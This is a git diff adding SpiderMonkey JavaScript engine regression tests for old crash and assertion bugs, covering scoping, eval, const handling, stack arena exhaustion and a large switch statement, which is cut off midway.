diff --git a/js/src/tests/non262/regress/regress-367561-03.js b/js/src/tests/non262/regress/regress-367561-03.js
new file mode 100644
index 0000000000..17ca443f8f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-367561-03.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367561;
+var summary = 'JSOP_(GET|SET)METHOD and JSOP_SETCONST with > 64K atoms';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var N = 1 << 16;
+ var src = 'var x = /';
+ var array = Array();
+ for (var i = 0; i != N/2; ++i)
+ array[i] = i;
+ src += array.join('/;x=/')+'/; x="';
+ src += array.join('";x="')+'";';
+ src += 'const some_const = 10';
+ eval(src);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-369666-01.js b/js/src/tests/non262/regress/regress-369666-01.js
new file mode 100644
index 0000000000..b86f10908b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-369666-01.js
@@ -0,0 +1,56 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 369666;
+var summary = 'inner function declaration in let-induced outer ' +
+ 'function body gets wrong scope.';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function foo() {
+ let x = 42
+
+ function bar() {
+ return x;
+ }
+
+ return bar;
+ }
+
+ print(foo()());
+
+ baz = false;
+
+ function foo2() {
+ let x = 42
+
+ function bar() {
+ return x;
+ }
+
+ try {
+ if (baz)
+ return bar;
+ } finally {
+ print('finally', x);
+ }
+ return bar;
+ }
+
+ print(foo2()());
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-369666-02.js b/js/src/tests/non262/regress/regress-369666-02.js
new file mode 100644
index 0000000000..b8e2dfb74f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-369666-02.js
@@ -0,0 +1,60 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 369666;
+var summary = 'inner function declaration in let-induced outer ' +
+ 'function body gets wrong scope.';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function foo() {
+ let x = 42
+
+ function bar() {
+ return x;
+ }
+
+ return bar;
+ }
+
+ print(foo()());
+
+ baz = false;
+
+ function foo2() {
+ let x = 42
+
+ function bar() {
+ return x;
+ }
+
+ function bletch() {
+ return x * x;
+ }
+
+ try {
+ if (baz)
+ return bar;
+ } finally {
+ print('finally', x);
+ }
+ return bletch;
+ }
+
+ print(foo2()());
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-372364.js b/js/src/tests/non262/regress/regress-372364.js
new file mode 100644
index 0000000000..0806bfc0ae
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-372364.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 372364;
+var summary = 'Incorrect error message "() has no properties"';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ print('See Also bug 365891');
+ expect = /TypeError: .*a\(.+\) (has no properties|is null)/;
+ try
+ {
+ function a(){return null;} a(1)[0];
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportMatch(expect, actual, summary);
+
+ expect = /TypeError: .*\/a\/.exec\(.+\) (has no properties|is null)/;
+ try
+ {
+ /a/.exec("b")[0];
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportMatch(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-373827-01.js b/js/src/tests/non262/regress/regress-373827-01.js
new file mode 100644
index 0000000000..d14e9be207
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-373827-01.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 373827;
+var summary = 'Do not assert: OBJ_GET_CLASS(cx, obj)->flags & JSCLASS_HAS_PRIVATE';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ { let [] = [{x: function(){}}]; };
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-373827-02.js b/js/src/tests/non262/regress/regress-373827-02.js
new file mode 100644
index 0000000000..675f1bf591
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-373827-02.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 373827;
+var summary = 'Do not assert: OBJ_GET_CLASS(cx, obj)->flags & JSCLASS_HAS_PRIVATE';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ { let [] = [{x: function(){}}]; }; foo;
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-373843.js b/js/src/tests/non262/regress/regress-373843.js
new file mode 100644
index 0000000000..677e333534
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-373843.js
@@ -0,0 +1,13 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+if (typeof disassemble != 'undefined')
+{
+ var func = disassemble(function() { return "c\\d"; })
+
+ // The disassembled function will contain a bytecode "string" with the content of the string next to it.
+ // Check if that string isn't over-escaped i.e. \\ isn't escaped to \\\\ .
+ assertEq(func.indexOf("\\\\\\\\"), -1)
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-379245.js b/js/src/tests/non262/regress/regress-379245.js
new file mode 100644
index 0000000000..428f7afe7a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-379245.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 379245;
+var summary = 'inline calls';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var fThis;
+
+ function f()
+ {
+ fThis = this;
+ return ({x: f}).x;
+ }
+
+ f()();
+
+ if (this !== fThis)
+ throw "bad this";
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-379442.js b/js/src/tests/non262/regress/regress-379442.js
new file mode 100644
index 0000000000..8f30f75a1f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-379442.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 379442;
+var summary = 'Regression from bug 368224';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ reportCompare(expect, actual, summary);
+
+ (function () { ({ y: [] } = {}); });
+}
diff --git a/js/src/tests/non262/regress/regress-379483.js b/js/src/tests/non262/regress/regress-379483.js
new file mode 100644
index 0000000000..fdf1624838
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-379483.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 379483;
+var summary = 'Do not assert: top < ss->printer->script->depth';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ (function () { try { } catch([e]) { [1]; } });
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-383674.js b/js/src/tests/non262/regress/regress-383674.js
new file mode 100644
index 0000000000..293d8a556d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-383674.js
@@ -0,0 +1,52 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 383674;
+var summary = 'Statement that implicitly calls toString should not be optimized away as a "useless expression"';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'toString called';
+ actual = 'toString not called';
+ try
+ {
+ var x = {toString: function() {
+ actual = 'toString called';
+ print(actual);
+ }
+ };
+ var f = function() { var j = x; j + ""; }
+ f();
+ reportCompare(expect, actual, summary + ': 1');
+ }
+ catch(ex)
+ {
+ reportCompare("No Error", ex + "", summary + ': 1');
+ }
+
+ actual = 'toString not called';
+ try
+ {
+ (function() { var a =
+ ({toString: function(){
+ actual = 'toString called'; print(actual)} }); a += ""; })();
+ reportCompare(expect, actual, summary + ': 2');
+ }
+ catch(ex)
+ {
+ reportCompare("No Error", ex + "", summary + ': 2');
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-383682.js b/js/src/tests/non262/regress/regress-383682.js
new file mode 100644
index 0000000000..0d242d0354
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-383682.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Blake Kaplan
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 383682;
+var summary = 'eval is too dynamic';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(s) {
+ return this.eval(s);
+ }
+
+ expect = 'PASS';
+ f("function g() { return('PASS'); }");
+ actual = g();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-383902.js b/js/src/tests/non262/regress/regress-383902.js
new file mode 100644
index 0000000000..ed95597460
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-383902.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var c = 0;
+
+function f(a) {
+ const b = a;
+ try {
+ eval('"use strict"; b = 1 + a; c = 1');
+ assertEq(0, 1);
+ } catch (e) {
+ assertEq(e.name, 'TypeError');
+ assertEq(0, c);
+ assertEq(a, b);
+ }
+}
+
+var w = 42;
+f(w);
+
+c = 2;
+try {
+ eval('"use strict"; function g(x) { const y = x; y = 1 + x; } c = 3');
+} catch (e) {
+ assertEq(0, 1);
+}
+
+c = 4;
+try {
+ eval('"use strict"; const z = w; z = 1 + w; c = 5');
+ assertEq(0, 1);
+} catch (e) {
+ assertEq(e.name, 'TypeError');
+ assertEq(4, c);
+ assertEq('z' in this, false);
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-385393-04.js b/js/src/tests/non262/regress/regress-385393-04.js
new file mode 100644
index 0000000000..1277ddffa7
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-385393-04.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 385393;
+var summary = 'Regression test for bug 385393';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ 'a'.replace(/a/g, eval);
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-387951-01.js b/js/src/tests/non262/regress/regress-387951-01.js
new file mode 100644
index 0000000000..93b32f6916
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-387951-01.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 387951;
+var summary = 'Do not assert: cg->stackDepth >= 0';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (delete (0 ? 3 : {}));
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-387951-02.js b/js/src/tests/non262/regress/regress-387951-02.js
new file mode 100644
index 0000000000..f02c4354c8
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-387951-02.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 387951;
+var summary = 'Do not assert: cg->stackDepth >= 0';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ "" + (function() { if(delete(null?0:{})){[]} });
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-387951-03.js b/js/src/tests/non262/regress/regress-387951-03.js
new file mode 100644
index 0000000000..7370b2f283
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-387951-03.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 387951;
+var summary = 'Do not assert: cg->stackDepth >= 0';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ switch(delete[null?0:{}]){default:}
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-39309.js b/js/src/tests/non262/regress/regress-39309.js
new file mode 100644
index 0000000000..dd7156a453
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-39309.js
@@ -0,0 +1,73 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 30 Sep 2003
+ * SUMMARY: Testing concatenation of string + number
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=39309
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 39309;
+var summary = 'Testing concatenation of string + number';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function f(textProp, len)
+{
+ var i = 0;
+ while (++i <= len)
+ {
+ var name = textProp + i;
+ actual = name;
+ }
+}
+
+
+status = inSection(1);
+f('text', 1); // sets |actual|
+expect = 'text1';
+addThis();
+
+status = inSection(2);
+f('text', 100); // sets |actual|
+expect = 'text100';
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-396684.js b/js/src/tests/non262/regress/regress-396684.js
new file mode 100644
index 0000000000..6905089689
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-396684.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 396684;
+var summary = 'Function call with stack arena exhausted';
+var actual = '';
+var expect = '';
+
+/*
+ The test case builds a function containing f(0,0,...,0,Math.atan2()) with
+ enough zero arguments to exhaust the current stack arena fully. Thus, when
+ Math.atan2 is loaded into the stack, there would be no room for the extra 2
+ args required by Math.atan2 and args will be allocated from the new arena.
+*/
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function f() {
+ return arguments[arguments.length - 1];
+}
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'PASS';
+
+ var src = "return f(" +Array(10*1000).join("0,")+"Math.atan2());";
+
+ var result = new Function(src)();
+
+ if (typeof result != "number" || !isNaN(result))
+ actual = "unexpected result: " + result;
+ else
+ actual = 'PASS';
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-398085-01.js b/js/src/tests/non262/regress/regress-398085-01.js
new file mode 100644
index 0000000000..02bbf2056e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-398085-01.js
@@ -0,0 +1,742 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 398085;
+var summary = 'Do not crash with large switch statement';
+var actual = '';
+var expect = 'PASSED';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ ls("a, taken", "b, taken");
+
+ reportCompare(expect, actual, summary);
+}
+
+
+function ls(a, b) {
+ switch(a) {
+ case "a, not taken":
+ // Next line requires 48 bytes: 8 * (getargprop (5 bytes) + add (1 byte))
+ // Repeated 700 times: 700 * 48 bytes = 33600 bytes
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
